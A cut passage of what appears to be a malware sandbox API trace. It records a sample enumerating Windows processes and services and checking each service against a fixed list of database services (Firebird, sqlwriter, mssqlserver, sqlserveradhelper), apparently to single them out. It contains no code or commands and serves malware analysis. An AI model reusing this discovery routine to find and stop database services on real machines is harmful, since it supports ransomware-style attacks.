lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0122.469] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0122.469] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0122.470] lstrlenW (lpString="dome.exe") returned 8 [0122.470] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0122.471] lstrlenW (lpString="wiresjacket.exe") returned 15 [0122.471] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0122.472] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0122.472] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0122.473] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0122.473] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0122.474] lstrlenW (lpString="tested.exe") returned 10 [0122.474] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0122.475] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0122.475] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0122.476] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0122.476] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0122.477] lstrlenW (lpString="level.exe") returned 9 [0122.477] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0122.478] lstrlenW (lpString="dllhost.exe") returned 11 [0122.478] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.478] lstrlenW (lpString="conhost.exe") returned 11 [0122.478] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.479] lstrlenW (lpString="conhost.exe") returned 11 [0122.479] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.480] lstrlenW (lpString="svchost.exe") returned 11 [0122.480] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0122.481] lstrlenW (lpString="load0.exe") returned 9 [0122.481] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0122.482] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0122.482] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.482] lstrlenW (lpString="conhost.exe") returned 11 [0122.482] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.483] lstrlenW (lpString="cmd.exe") returned 7 [0122.483] Process32NextW (in: hSnapshot=0xfd0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0122.484] CloseHandle (hObject=0xfd0) returned 1 [0122.484] Sleep (dwMilliseconds=0x1f4) [0124.693] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e38c0 [0124.695] EnumServicesStatusExW (in: hSCManager=0x5e38c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0124.696] GetLastError () returned 0xea [0124.696] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1ce8) returned 0x64ac08 [0124.696] EnumServicesStatusExW (in: hSCManager=0x5e38c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1ce8, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0124.698] CloseServiceHandle (hSCObject=0x5e38c0) returned 1 [0124.698] lstrlenW (lpString="Appinfo") returned 7 [0124.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0124.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0124.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0124.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0124.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0124.698] lstrlenW (lpString="AppXSvc") returned 7 [0124.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0124.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0124.698] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0124.698] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0124.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0124.698] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0124.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0124.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0124.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0124.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0124.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0124.699] lstrlenW (lpString="Audiosrv") returned 8 [0124.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0124.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0124.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0124.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0124.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0124.699] lstrlenW (lpString="BFE") returned 3 [0124.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0124.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0124.699] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0124.699] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0124.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0124.699] lstrlenW (lpString="BITS") returned 4 [0124.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0124.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0124.699] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0124.699] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0124.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0124.701] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0124.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0124.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0124.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0124.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0124.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0124.701] lstrlenW (lpString="CDPSvc") returned 6 [0124.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0124.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0124.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0124.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0124.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0124.701] lstrlenW (lpString="ClickToRunSvc") returned 13 [0124.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0124.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0124.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0124.702] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0124.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0124.702] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0124.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0124.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0124.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0124.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0124.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0124.702] lstrlenW (lpString="CryptSvc") returned 8 [0124.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0124.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0124.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0124.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0124.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0124.702] lstrlenW (lpString="DcomLaunch") returned 10 [0124.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0124.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0124.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0124.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0124.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0124.702] lstrlenW (lpString="DeviceAssociationService") returned 24 [0124.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0124.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0124.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0124.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0124.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0124.702] lstrlenW (lpString="Dhcp") returned 4 [0124.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0124.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0124.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0124.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0124.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0124.703] lstrlenW (lpString="Dnscache") returned 8 [0124.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0124.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0124.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0124.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0124.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0124.752] lstrlenW (lpString="DoSvc") returned 5 [0124.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0124.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0124.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0124.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0124.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0124.752] lstrlenW (lpString="DPS") returned 3 [0124.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0124.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0124.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0124.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0124.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0124.752] lstrlenW (lpString="DusmSvc") returned 7 [0124.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0124.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0124.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0124.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0124.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0124.752] lstrlenW (lpString="EventLog") returned 8 [0124.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0124.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0124.753] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0124.753] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0124.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0124.753] lstrlenW (lpString="EventSystem") returned 11 [0124.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0124.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0124.753] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0124.753] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0124.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0124.753] lstrlenW (lpString="FontCache") returned 9 [0124.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0124.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0124.753] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0124.753] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0124.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0124.753] lstrlenW (lpString="gpsvc") returned 5 [0124.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0124.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0124.753] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0124.753] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0124.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0124.753] lstrlenW (lpString="iphlpsvc") returned 8 [0124.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0124.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0124.753] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0124.753] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0124.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0124.753] lstrlenW (lpString="KeyIso") returned 6 [0124.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0124.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0124.754] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0124.754] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0124.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0124.754] lstrlenW (lpString="LanmanServer") returned 12 [0124.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0124.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0124.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0124.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0124.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0124.754] lstrlenW (lpString="LanmanWorkstation") returned 17 [0124.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0124.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0124.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0124.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0124.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0124.754] lstrlenW (lpString="lfsvc") returned 5 [0124.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0124.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0124.754] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0124.754] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0124.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0124.754] lstrlenW (lpString="lmhosts") returned 7 [0124.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0124.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0124.754] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0124.754] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0124.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0124.755] lstrlenW (lpString="LSM") returned 3 [0124.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0124.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0124.755] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0124.755] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0124.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0124.755] lstrlenW (lpString="MpsSvc") returned 6 [0124.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0124.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0124.755] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0124.755] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0124.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0124.755] lstrlenW (lpString="NcbService") returned 10 [0124.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0124.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0124.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0124.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0124.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0124.755] lstrlenW (lpString="netprofm") returned 8 [0124.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0124.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0124.755] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0124.755] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0124.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0124.755] lstrlenW (lpString="NlaSvc") returned 6 [0124.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0124.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0124.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0124.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0124.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0124.756] lstrlenW (lpString="nsi") returned 3 [0124.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0124.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0124.756] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0124.756] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0124.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0124.756] lstrlenW (lpString="PcaSvc") returned 6 [0124.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0124.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0124.756] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0124.756] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0124.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0124.756] lstrlenW (lpString="PlugPlay") returned 8 [0124.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0124.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0124.756] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0124.756] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0124.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0124.756] lstrlenW (lpString="Power") returned 5 [0124.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0124.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0124.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0124.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0124.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0124.756] lstrlenW (lpString="ProfSvc") returned 7 [0124.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0124.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0124.757] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0124.757] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0124.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0124.757] lstrlenW (lpString="RpcEptMapper") returned 12 [0124.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0124.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0124.757] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0124.757] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0124.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0124.757] lstrlenW (lpString="RpcSs") returned 5 [0124.757] lstrcmpiW 